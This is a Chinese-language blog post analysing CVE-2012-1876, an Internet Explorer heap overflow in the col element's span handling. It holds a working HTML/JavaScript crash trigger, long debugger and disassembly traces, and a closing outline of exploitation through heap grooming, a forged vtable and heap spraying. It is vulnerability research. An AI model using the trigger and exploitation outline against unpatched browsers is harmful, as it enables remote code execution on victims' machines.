CVE-2012-1876Microsoft Internet Explorer Col元素遠端程式碼執行漏洞分析

Ox9A82發表於2016-07-29

    Microsoft Internet Explorer是微軟Windows作業系統中預設捆綁的WEB瀏覽器。
        Microsoft Internet Explorer 6至9版本中存在漏洞,該漏洞源於未正確處理記憶體中的物件。遠端攻擊者可利用該漏洞透過試圖訪問不存在的物件執行任意程式碼。也稱“Col元素遠端程式碼執行漏洞”。

 <html>
 <body>
 <table style="table-layout:fixed" >
        <col id="132" width="41" span="1" >&nbsp </col>
 </table>
 <script>
 
 function over_trigger() {
        var obj_col = document.getElementById("132");
        obj_col.width = "42765";
        obj_col.span = 1000;
 }
 
 setTimeout("over_trigger();",1);
 
 </script>
 </body>
 </html>

除錯環境為win7+未打補丁的win7,使用windbg +ust +hpa .childdbg 1載入poc,crash資訊如下

1:020> r
eax=00000009 ebx=00001806 ecx=00010049 edx=0000000c esi=0d960ffc edi=0d961014
eip=66b1f167 esp=0461d7a8 ebp=0461d7b4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CTableColCalc::AdjustForCol+0x15:
66b1f167 890f            mov     dword ptr [edi],ecx  ds:0023:0d961014=????????

因為是已開啟頁堆的情況下進行的除錯的,所以猜測是觸發了柵欄頁引發的異常。看下edi的資訊,如下。發現edi在堆d960f00中,堆底為d960ffc。而edi為0d961014差距還是很大的,同時此塊堆只有分配記錄沒有釋放記錄說明不可能是UAF漏洞,又因為是寫操作引起的那麼應該就是堆的溢位.

1:020> dc edi
0d961014  ???????? ???????? ???????? ????????  ????????????????
0d961024  ???????? ???????? ???????? ????????  ????????????????
0d961034  ???????? ???????? ???????? ????????  ????????????????
0d961044  ???????? ???????? ???????? ????????  ????????????????
0d961054  ???????? ???????? ???????? ????????  ????????????????
0d961064  ???????? ???????? ???????? ????????  ????????????????
0d961074  ???????? ???????? ???????? ????????  ????????????????
0d961084  ???????? ???????? ???????? ????????  ????????????????
1:020> !heap -p -a edi
    address 0d961014 found in
    _DPH_HEAP_ROOT @ 51000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 bdd1270:          d960f00               fc -          d960000             2000
    73b88e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77954ea6 ntdll!RtlDebugAllocateHeap+0x00000030
    77917d96 ntdll!RtlpAllocateHeap+0x000000c4
    778e34ca ntdll!RtlAllocateHeap+0x0000023a
    668a6c94 mshtml!_HeapRealloc+0x00000036
    668c8ffb mshtml!CImplAry::EnsureSizeWorker+0x000000a1
    668002f7 mshtml!CTableLayout::CalculateMinMax+0x000001df
    66800713 mshtml!CTableLayout::CalculateLayout+0x00000276
    667eaf19 mshtml!CTableLayout::CalcSizeVirtual+0x00000720
    668dcc48 mshtml!CLayout::CalcSize+0x000002b8
    668cf5d0 mshtml!CFlowLayout::MeasureSite+0x00000312
    668cf31d mshtml!CFlowLayout::GetSiteWidth+0x00000156
    668cf664 mshtml!CLSMeasurer::GetSiteWidth+0x000000ce
    668cfb40 mshtml!CEmbeddedILSObj::Fmt+0x00000150
    70bd665d msls31!ProcessOneRun+0x000003e9
    70bd6399 msls31!FetchAppendEscCore+0x0000018e
    70bd6252 msls31!LsDestroyLine+0x0000047f
    70bd61c3 msls31!LsDestroyLine+0x000009ff
    70bd293f msls31!LsCreateLine+0x000000cb
    668cdd81 mshtml!CLSMeasurer::LSDoCreateLine+0x00000127
    668e17cc mshtml!CLSMeasurer::LSMeasure+0x00000034
    668e1ef5 mshtml!CLSMeasurer::Measure+0x000001e6
    668e1db1 mshtml!CLSMeasurer::MeasureLine+0x0000001c
    668e11a2 mshtml!CRecalcLinePtr::MeasureLine+0x0000046d
    6690a8f6 mshtml!CDisplay::RecalcLines+0x000008bb
    669b490f mshtml!CDisplay::WaitForRecalc+0x00000209
    6694d534 mshtml!CFlowLayout::Notify+0x000007de
    668b7515 mshtml!NotifyElement+0x00000041
    668b727c mshtml!CMarkup::Notify+0x000000d6
    668dc06c mshtml!CElement::SendNotification+0x0000004a
    66947e44 mshtml!CElement::EnsureRecalcNotify+0x0000015f
    668806e5 mshtml!CDisplayPointer::MoveUnit+0x000002b2

我們來kp看一下棧回溯,不對,應該看下kv的,注意下引數的傳遞

1:020> kp
ChildEBP RetAddr  
0461d7b4 66995b8e mshtml!CTableColCalc::AdjustForCol+0x15
0461d864 66800713 mshtml!CTableLayout::CalculateMinMax+0x52f
0461da80 667eaf19 mshtml!CTableLayout::CalculateLayout+0x276
0461dc2c 668dcc48 mshtml!CTableLayout::CalcSizeVirtual+0x720
0461dd64 668cf5d0 mshtml!CLayout::CalcSize+0x2b8
0461de28 668cf31d mshtml!CFlowLayout::MeasureSite+0x312
0461de70 668cf664 mshtml!CFlowLayout::GetSiteWidth+0x156
0461deb0 668cfb40 mshtml!CLSMeasurer::GetSiteWidth+0xce
0461df34 70bd665d mshtml!CEmbeddedILSObj::Fmt+0x150
0461dfc4 70bd6399 msls31!ProcessOneRun+0x3e9
0461e020 70bd6252 msls31!FetchAppendEscCore+0x18e
0461e074 70bd61c3 msls31!LsDestroyLine+0x47f
0461e0fc 70bd293f msls31!LsDestroyLine+0x9ff
0461e138 668cdd81 msls31!LsCreateLine+0xcb
0461e288 668e17cc mshtml!CLSMeasurer::LSDoCreateLine+0x127
0461e32c 668e1ef5 mshtml!CLSMeasurer::LSMeasure+0x34
0461e374 668e1db1 mshtml!CLSMeasurer::Measure+0x1e6
0461e398 668e11a2 mshtml!CLSMeasurer::MeasureLine+0x1c
0461e448 6690a8f6 mshtml!CRecalcLinePtr::MeasureLine+0x46d
0461ec50 669b490f mshtml!CDisplay::RecalcLines+0x8bb
1:020> kv
ChildEBP RetAddr  Args to Child              
0461d7b4 66995b8e 00001806 0461daf8 00000001 mshtml!CTableColCalc::AdjustForCol+0x15
0461d864 66800713 00000009 0461daf8 00000013 mshtml!CTableLayout::CalculateMinMax+0x52f
0461da80 667eaf19 0461daf8 0461dac4 00000001 mshtml!CTableLayout::CalculateLayout+0x276
0461dc2c 668dcc48 0461ec90 0461de58 00000000 mshtml!CTableLayout::CalcSizeVirtual+0x720
0461dd64 668cf5d0 0b11aea8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
0461de28 668cf31d 0b11aea8 0002469e 0002469e mshtml!CFlowLayout::MeasureSite+0x312
0461de70 668cf664 1868bf00 00000061 0461ec90 mshtml!CFlowLayout::GetSiteWidth+0x156
0461deb0 668cfb40 0a3ecfb0 0b11aea8 00000001 mshtml!CLSMeasurer::GetSiteWidth+0xce
0461df34 70bd665d 1340aff8 0461df54 0461e018 mshtml!CEmbeddedILSObj::Fmt+0x150
0461dfc4 70bd6399 1277aefc 00000000 133e3d20 msls31!ProcessOneRun+0x3e9 (FPO: [Non-Fpo])
0461e020 70bd6252 1277af18 000258dd 00000000 msls31!FetchAppendEscCore+0x18e (FPO: [Non-Fpo])
0461e074 70bd61c3 00000000 00000000 00000014 msls31!LsDestroyLine+0x47f (FPO: [Non-Fpo])
0461e0fc 70bd293f 00000937 00003a44 00000000 msls31!LsDestroyLine+0x9ff (FPO: [Non-Fpo])
0461e138 668cdd81 00000001 00000937 00003a44 msls31!LsCreateLine+0xcb (FPO: [Non-Fpo])
0461e288 668e17cc 0461ec90 00000937 0a3ecfc0 mshtml!CLSMeasurer::LSDoCreateLine+0x127
0461e32c 668e1ef5 0461eb90 0002469e 00000000 mshtml!CLSMeasurer::LSMeasure+0x34
0461e374 668e1db1 00000000 00025256 00000003 mshtml!CLSMeasurer::Measure+0x1e6
0461e398 668e11a2 00025256 00000003 1868bf40 mshtml!CLSMeasurer::MeasureLine+0x1c
0461e448 6690a8f6 0461e968 0b47d9f0 00000003 mshtml!CRecalcLinePtr::MeasureLine+0x46d
0461ec50 669b490f 0461ec90 000003e9 0000055e mshtml!CDisplay::RecalcLines+0x8bb

看下這個模組的資訊,抓出來這個模組到ida中看下流程。

1:020> lmm mshtml v
start    end        module name
666f0000 66ca2000   mshtml     (pdb symbols)          C:\symbols\mshtml.pdb\5B825981E9B445BBB998A27119FF0D6E2\mshtml.pdb
    Loaded symbol image file: C:\Windows\System32\mshtml.dll
    Image path: C:\Windows\System32\mshtml.dll
    Image name: mshtml.dll
    Timestamp:        Tue Jul 14 09:08:26 2009 (4A5BDA8A)
    CheckSum:         005BE1C8
    ImageSize:        005B2000
    File version:     8.0.7600.16385
    Product version:  8.0.7600.16385
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Microsoft Corporation
    ProductName:      Windows® Internet Explorer
    InternalName:     MSHTML
    OriginalFilename: MSHTML.DLL
    ProductVersion:   8.00.7600.16385
    FileVersion:      8.00.7600.16385 (win7_rtm.090713-1255)
    FileDescription:  Microsoft (R) HTML Viewer
    LegalCopyright:   © Microsoft Corporation. All rights reserved.

 結果發現模組載入的基址不一樣,沒法直接在IDA中跳過去。看下在IE程式里載入的基地址,如下。66b1f167-666f0000= 42F167,而IDA為如圖74C20000+42F167=7504F167。

1:020> lm
start    end        module name
01360000 01406000   iexplore   (deferred)             
666f0000 66ca2000   mshtml     (pdb symbols)          C:\symbols\mshtml.pdb\5B825981E9B445BBB998A27119FF0D6E2\mshtml.pdb
69b00000 69bb2000   jscript    (deferred)             
6b490000 6bf0c000   IEFRAME    (deferred)             
6e400000 6e43c000   OLEACC     (deferred)             
6eac0000 6eaee000   MLANG      (deferred)             
6ef90000 6ef96000   sensapi    (deferred)             
6f060000 6f0b2000   RASAPI32   (deferred)             
6f4c0000 6f4eb000   ieproxy    (deferred)             
70550000 70582000   WINMM      (deferred)             
70710000 70714000   ksuser     (deferred)             
70720000 70750000   wdmaud     (deferred)             
70af0000 70b25000   IEShims    (deferred)             
70bc0000 70bc6000   rasadhlp   (deferred)             
70bd0000 70bfa000   msls31     (pdb symbols)          C:\symbols\msls31.pdb\7919161B84F0418F9FCD19A720CF43902\msls31.pdb
71190000 711c0000   iepeers    (deferred)             
711e0000 71216000   AUDIOSES   (deferred)             
72140000 72178000   fwpuclnt   (deferred)             
72630000 72636000   IconCodecService   (deferred)             
72640000 726af000   ntshrui    (deferred)             
726b0000 726bb000   CSCAPI     (deferred)             
726c0000 726c9000   CSCDLL     (deferred)             
726d0000 7273a000   cscui      (deferred)             
72740000 72771000   EhStorShell   (deferred)             
72920000 72927000   WINNSI     (deferred)             
72930000 7294c000   iphlpapi   (deferred)             
72e10000 72e61000   WINSPOOL   (deferred)             
73390000 733a5000   rasman     (deferred)             
73b80000 73be0000   verifier   (pdb symbols)          C:\symbols\verifier.pdb\8878279C450C4F4DA6B252A4B824B4981\verifier.pdb
73cb0000 73cbe000   pngfilt    (deferred)             
73cc0000 73ccb000   msimtf     (deferred)             
73d00000 73d0b000   ImgUtil    (deferred)             
73da0000 73dad000   rtutils    (deferred)             
73f60000 73f67000   midimap    (deferred)             
73f70000 73f84000   MSACM32_73f70000   (deferred)             
73f90000 73f98000   msacm32    (deferred)             
73fd0000 740cb000   WindowsCodecs   (deferred)             
74160000 7416a000   slc        (deferred)             
74170000 74182000   pnrpnsp    (deferred)             
741a0000 741ad000   wshbth     (deferred)             
741b0000 741c0000   napinsp    (deferred)             
741c0000 741c8000   winrnr     (deferred)             
74360000 74381000   ntmarta    (deferred)             
74390000 743bf000   XmlLite    (deferred)             
743c0000 743d3000   dwmapi     (deferred)             
74510000 746a0000   gdiplus    (deferred)             
746a0000 7483e000   comctl32   (deferred)             
74840000 74850000   NLAapi     (deferred)             
74860000 748a0000   uxtheme    (deferred)             
74bd0000 74bd7000   AVRT       (deferred)             
74be0000 74cd5000   propsys    (deferred)             
74ce0000 74d19000   MMDevAPI   (deferred)             
74ee0000 74ee9000   VERSION    (deferred)             
74f70000 74f75000   wshtcpip   (deferred)             
75200000 7523b000   rsaenh     (deferred)             
752e0000 75324000   dnsapi     (deferred)             
75410000 75416000   wship6     (deferred)             
75420000 7545c000   mswsock    (deferred)             
75460000 75476000   CRYPTSP    (deferred)             
75570000 75589000   srvcli     (deferred)             
758c0000 758da000   SspiCli    (deferred)             
758e0000 7592b000   apphelp    (deferred)             
75930000 7593c000   CRYPTBASE   (deferred)             
75940000 7599f000   SXS        (deferred)             
759d0000 759de000   RpcRtRemote   (deferred)             
759e0000 759eb000   profapi    (deferred)             
75a50000 75a5c000   MSASN1     (deferred)             
75a60000 75ae4000   COMCTL32_75a60000   (deferred)             
75af0000 75b02000   DEVOBJ     (deferred)             
75b10000 75c2c000   CRYPT32    (deferred)             
75c30000 75c7a000   KERNELBASE   (deferred)             
75cb0000 75cd7000   CFGMGR32   (deferred)             
75ce0000 75d2e000   GDI32      (deferred)             
75d30000 75d49000   sechost    (deferred)             
75d50000 75eac000   ole32      (deferred)             
75eb0000 75f79000   USER32     (deferred)             
75f80000 7602c000   msvcrt     (deferred)             
76030000 76c79000   SHELL32    (deferred)             
76c80000 76cfb000   comdlg32   (deferred)             
76d00000 76d83000   CLBCatQ    (deferred)             
76dc0000 76ef5000   urlmon     (deferred)             
76f00000 76fa1000   RPCRT4     (deferred)             
76fb0000 77084000   kernel32   (deferred)             
77090000 7722d000   SETUPAPI   (deferred)             
77230000 772bf000   OLEAUT32   (deferred)             
772c0000 77360000   ADVAPI32   (deferred)             
77360000 773fd000   USP10      (deferred)             
77460000 7752c000   MSCTF      (deferred)             
77530000 77587000   SHLWAPI    (deferred)             
77590000 77789000   iertutil   (deferred)             
77790000 77884000   WININET    (deferred)             
77890000 779cc000   ntdll      (pdb symbols)          C:\symbols\ntdll.pdb\F0164DA71FAF4765B8F3DB4F2D7650EA2\ntdll.pdb
779d0000 779d5000   PSAPI      (deferred)             
779e0000 779e3000   Normaliz   (deferred)             
779f0000 77a0f000   IMM32      (deferred)             
77a10000 77a16000   NSI        (deferred)             
77a20000 77a65000   WLDAP32    (deferred)             
77a70000 77a7a000   LPK        (deferred)             
77a80000 77ab5000   ws2_32     (deferred)             

得到了函式如下,我們可以看到edi=esi+0x18。而esi沒有處理,說明是上層函式傳遞過來的。

; Attributes: bp-based frame

sub_7504F152 proc near

arg_0= dword ptr  8
arg_4= dword ptr  0Ch
arg_8= dword ptr  10h

mov     edi, edi
push    ebp
mov     ebp, esp
mov     ecx, [eax]
push    ebx
mov     ebx, [ebp+arg_0]
push    edi
mov     eax, ecx
and     eax, 0Fh
lea     edi, [esi+18h]
push    eax
mov     [edi], ecx

我們看下上層函式66995b8e-666f0000= 2A5B8E,2A5B8E+74C20000=74EC5B8E。首先esi來自於區域性變數,在看下var_24的值

 

mov     esi, [ebp+var_24]
push    [ebp+var_C]
call    sub_7504F152

如果去跟進CTableLayout::CalculateMinMax函式,也就是crash函式的上層函式可以發現一些東西。首先是這個函式的第一個引數的意義

2:029> dc esp
046ae190  65bb0713 08100ea8 046ae420 00000000  ...e.... .j.....
046ae1a0  00000000 08100ea8 08100ea8 7777517e  ............~Qww
046ae1b0  77737d96 00050000 00000000 ffffffff  .}sw............
046ae1c0  00000000 00000000 00000000 00000000  ................
046ae1d0  00000000 ffffffff 00000000 0045852c  ............,.E.
046ae1e0  00000000 00000000 7776c3a9 046ae208  ..........vw..j.
046ae1f0  00000000 00000000 00000000 0760afe0  ..............`.
046ae200  00000000 00000000 046ae2a8 7776c979  ..........j.y.vw
2:029> dc 08100ea8 
08100ea8  65aa9868 047a5f30 084adfb8 65c64918  h..e0_z...J..I.e
08100eb8  00000001 00000000 0108080d ffffffff  ................
08100ec8  00000000 00000000 00000000 ffffffff  ................
08100ed8  0002783a 00011d8c 00000000 00000000  :x..............
08100ee8  00000000 00412802 00000000 00000000  .....(A.........
08100ef8  00000000 00000001 ffffffff ffffffff  ................
08100f08  ffffffff ffffffff 65aa9fd0 00000004  ...........e....
08100f18  00000004 08120ff0 65aa9fd0 00000004  ...........e....
2:029> ln 65aa9868 
(65aa9868)   mshtml!CTableLayout::`vftable'   |  (65aa99a8)   mshtml!CTableLayoutBlock::`vftable'
Exact matches:
    mshtml!CTableLayout::`vftable' = <no type information>

由此可見arg1就是CTableLayout物件的指標。而這個物件對應的其實就是<table>標籤。接著往下跟會發現又取用了此物件中的一個成員,如下

2:029> p
eax=00000000 ebx=08100ea8 ecx=00412802 edx=ffffffff esi=046ae420 edi=046ae3ec
eip=65bb01a6 esp=046ae0f4 ebp=046ae18c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CTableLayout::CalculateMinMax+0x1c:
65bb01a6 8b4354          mov     eax,dword ptr [ebx+54h] ds:0023:08100efc=00000001

據說,這個值代表span屬性的個數,那麼根據poc就是1了。然後後面還有一個取用物件成員的語句,如下。

2:029> 
eax=00000000 ebx=08100ea8 ecx=00000000 edx=00000001 esi=046adc38 edi=00000000
eip=65bb02cc esp=046ad908 ebp=046ad9a4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x1b1:
65bb02cc 8b8394000000    mov     eax,dword ptr [ebx+94h] ds:0023:08100f3c=00000004

又據說,這個值用來與span的個數做比較,叫做spancmp,然後又呼叫了一個分配記憶體的函式

.text:74DF8FB7 ; int __stdcall CImplAry::EnsureSizeWorker(size_t)
.text:74DF8FB7 ?EnsureSizeWorker@CImplAry@@AAEJIJ@Z proc near
.text:74DF8FB7                                         ; CODE XREF: CSelectionRenderingServiceProvider::GetSelectionChunksForLayout(CFlowLayout *,CRenderInfo *,CDataAry<HighlightSegment> *,int *,int *)-6B92p
.text:74DF8FB7                                         ; CView::DeferTransition(COleSite *)+3Fp ...
.text:74DF8FB7
.text:74DF8FB7 dwBytes         = dword ptr -8
.text:74DF8FB7 var_4           = dword ptr -4
.text:74DF8FB7 arg_0           = dword ptr  8
.text:74DF8FB7
.text:74DF8FB7 ; FUNCTION CHUNK AT .text:74E02CB4 SIZE 00000036 BYTES
.text:74DF8FB7 ; FUNCTION CHUNK AT .text:74E3BEEC SIZE 0000003D BYTES
.text:74DF8FB7 ; FUNCTION CHUNK AT .text:74EBD6E7 SIZE 0000000D BYTES
.text:74DF8FB7
.text:74DF8FB7                 mov     edi, edi
.text:74DF8FB9                 push    ebp
.text:74DF8FBA                 mov     ebp, esp
.text:74DF8FBC                 push    ecx
.text:74DF8FBD                 push    ecx
.text:74DF8FBE                 push    ebx
.text:74DF8FBF                 push    esi
.text:74DF8FC0                 mov     esi, eax
.text:74DF8FC2                 push    4
.text:74DF8FC4                 pop     eax
.text:74DF8FC5                 mov     [ebp+var_4], eax
.text:74DF8FC8                 cmp     esi, eax
.text:74DF8FCA                 jnb     loc_74E02CB4
.text:74DF8FD0
.text:74DF8FD0 loc_74DF8FD0:                           ; CODE XREF: CImplAry::EnsureSizeWorker(uint,long)+9D00j
.text:74DF8FD0                                         ; CImplAry::EnsureSizeWorker(uint,long)+9D25j ...
.text:74DF8FD0                 mov     eax, [ebp+var_4]
.text:74DF8FD3                 mul     [ebp+arg_0]
.text:74DF8FD6                 push    edx
.text:74DF8FD7                 push    eax
.text:74DF8FD8                 lea     eax, [ebp+dwBytes]
.text:74DF8FDB                 call    ?ULongLongToUInt@@YGJ_KPAI@Z ; ULongLongToUInt(unsigned __int64,uint *)
.text:74DF8FE0                 mov     ebx, eax
.text:74DF8FE2                 test    ebx, ebx
.text:74DF8FE4                 jnz     short loc_74DF900B
.text:74DF8FE6                 test    byte ptr [edi+4], 2
.text:74DF8FEA                 jnz     loc_74E3BEEC
.text:74DF8FF0                 push    [ebp+dwBytes]   ; dwBytes
.text:74DF8FF3                 lea     esi, [edi+0Ch]
.text:74DF8FF6                 call    ?_HeapRealloc@@YGJPAPAXI@Z ; _HeapRealloc(void * *,uint)
.text:74DF8FFB                 mov     ebx, eax
.text:74DF8FFD                 test    ebx, ebx
.text:74DF8FFF                 jnz     short loc_74DF900B
.text:74DF9001
.text:74DF9001 loc_74DF9001:                           ; CODE XREF: CImplAry::EnsureSizeWorker(uint,long)+42F6Dj
.text:74DF9001                 mov     eax, [ebp+var_4]
.text:74DF9004                 and     dword ptr [edi+4], 0FFFFFFFDh
.text:74DF9008                 mov     [edi+8], eax
.text:74DF900B
.text:74DF900B loc_74DF900B:                           ; CODE XREF: CImplAry::EnsureSizeWorker(uint,long)+2Dj
.text:74DF900B                                         ; CImplAry::EnsureSizeWorker(uint,long)+48j ...
.text:74DF900B                 pop     esi
.text:74DF900C                 mov     eax, ebx
.text:74DF900E                 pop     ebx
.text:74DF900F                 leave
.text:74DF9010                 retn    4

由於我沒有對於IE物件的知識只好跟著泉哥的分析走,如下

  • crash函式的上層函式CTableLayout::CalculateMinMax的第一個引數為<table>的物件CtableLayout,由於一直在使用[ebx+xx]的形式索引值所以可以依據這個來推斷。
  • CtableLayout+0x54是spannum就是span屬性的值,為1
  • CtableLayout+0x9C是分配的堆的指標,是上面那個函式分配的(泉哥寫的是0x90,但是根據除錯結果來看是0x9C應該是印刷錯誤)
  • CtableLayout+0x94是泉哥所說的用來與spannum比較的spancmp,這個值為4

值得注意的一點是,上面這一切的操作都是poc的起始幾句話所引起的,也就是一個對應的關係。

 <table style="table-layout:fixed" >
        <col id="132" width="41" span="1" >&nbsp </col>
 </table>

這個也就是為什麼會有span等於1,我們先整理一下資料。

CtableLayout+0x54=1,如下

2:029> dc 08100ea8+0x54 l1
08100efc  00000001                             ....

CtableLayout+0x94=4,如下

2:029> dc 08100ea8+0x94 l1
08100f3c  00000004                             ....
2:029> dc 08100ea8+0x9c l1
08100f44  07e34f90                             .O..
2:029> !heap -p -a 07e34f90                             
    address 07e34f90 found in
    _DPH_HEAP_ROOT @ 51000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 7dd0548:          7e34f90               70 -          7e34000             2000
    77888e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77774ea6 ntdll!RtlDebugAllocateHeap+0x00000030
    77737d96 ntdll!RtlpAllocateHeap+0x000000c4
    777034ca ntdll!RtlAllocateHeap+0x0000023a
    65c56c94 mshtml!_HeapRealloc+0x00000036
    65c78ffb mshtml!CImplAry::EnsureSizeWorker+0x000000a1
    65bb02f7 mshtml!CTableLayout::CalculateMinMax+0x000001df
    65bb0713 mshtml!CTableLayout::CalculateLayout+0x00000276
    65b9af19 mshtml!CTableLayout::CalcSizeVirtual+0x00000720
    65c8cc48 mshtml!CLayout::CalcSize+0x000002b8
    65c7f5d0 mshtml!CFlowLayout::MeasureSite+0x00000312
    65c7f31d mshtml!CFlowLayout::GetSiteWidth+0x00000156
    65c7f664 mshtml!CLSMeasurer::GetSiteWidth+0x000000ce
    65c7fb40 mshtml!CEmbeddedILSObj::Fmt+0x00000150
    6f91665d msls31!ProcessOneRun+0x000003e9
    6f916399 msls31!FetchAppendEscCore+0x0000018e
    6f916252 msls31!LsDestroyLine+0x0000047f
    6f9161c3 msls31!LsDestroyLine+0x000009ff
    6f91293f msls31!LsCreateLine+0x000000cb
    65c7dd81 mshtml!CLSMeasurer::LSDoCreateLine+0x00000127
    65c917cc mshtml!CLSMeasurer::LSMeasure+0x00000034
    65c91ef5 mshtml!CLSMeasurer::Measure+0x000001e6
    65c91db1 mshtml!CLSMeasurer::MeasureLine+0x0000001c
    65c911a2 mshtml!CRecalcLinePtr::MeasureLine+0x0000046d
    65c933d9 mshtml!CDisplay::RecalcLinesWithMeasurer+0x00000440
    65c930eb mshtml!CDisplay::RecalcLines+0x0000006b
    65c93015 mshtml!CDisplay::RecalcView+0x0000006d
    65c92fc8 mshtml!CFlowLayout::CalcTextSize+0x0000043d
    65b9eb06 mshtml!CFlowLayout::CalcSizeCoreCompat+0x00001045
    65c902ee mshtml!CFlowLayout::CalcSizeCore+0x00000049
    65c90367 mshtml!CBodyLayout::CalcSizeCore+0x000000d8
    65c9029c mshtml!CFlowLayout::CalcSizeVirtual+0x000001af

CtableLayout+0x9C就是上面分配的堆指標。根據資訊可以看到是0x70大小。

之後會因為function over_trigger()函式的呼叫,又一次進入到crash函式的上層函式里,所以上面我們才要進行一下區分。如下所示是呼叫獲取span值的函式,eax為返回值為1000正好對應了我設定的 obj_col.span = 1000;

call    ?GetAAspan@CTableCol@@QBEHXZ ; CTableCol::GetAAspan(void)
2:028> p
eax=000003e8 ebx=07cd0ea8 ecx=00000002 edx=07cf2ff0 esi=05dd4fac edi=07d04fd0
eip=65d45a33 esp=0442d9b8 ebp=0442da54 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x383:
65d45a33 3de8030000      cmp     eax,3E8h

然後執行了獲取要複製的長度的函式

.text:74EC5AB3                 call    ?GetPixelWidth@CWidthUnitValue@@QBEHPBVCDocInfo@@PAVCElement@@H@Z ; CWidthUnitValue::GetPixelWidth(CDocInfo const *,CElement *,int)
.text:74EC5AB8                 cmp     [ebp+var_5C], 0
.text:74EC5ABC                 mov     [ebp+var_2C], eax

 總結就是span在第一次時分配了記憶體而第二次時並沒有,造成了往4*0x1c的記憶體中寫入1000*0x1c資料的情況。

漏洞利用

關於漏洞利用,對於漏洞利用其實我們只需要清楚這幾點

1.寫入的內容:width*100

2.寫入的長度:span*0x1C

3.造成溢位的記憶體塊:table標籤為span屬性分配的大小為0x70的堆記憶體,此記憶體的地址儲存在table標籤對應的C++物件——CtableLayout物件的0x9C偏移處。

那麼利用的思路就是先釋放一批0x70的堆塊,然後讓溢位堆塊去佔用它們。這樣溢位發生後就可以指定的去溢位目標了,這樣可以溢位後面一個物件然後偽造虛表+堆噴就可以了。

相關文章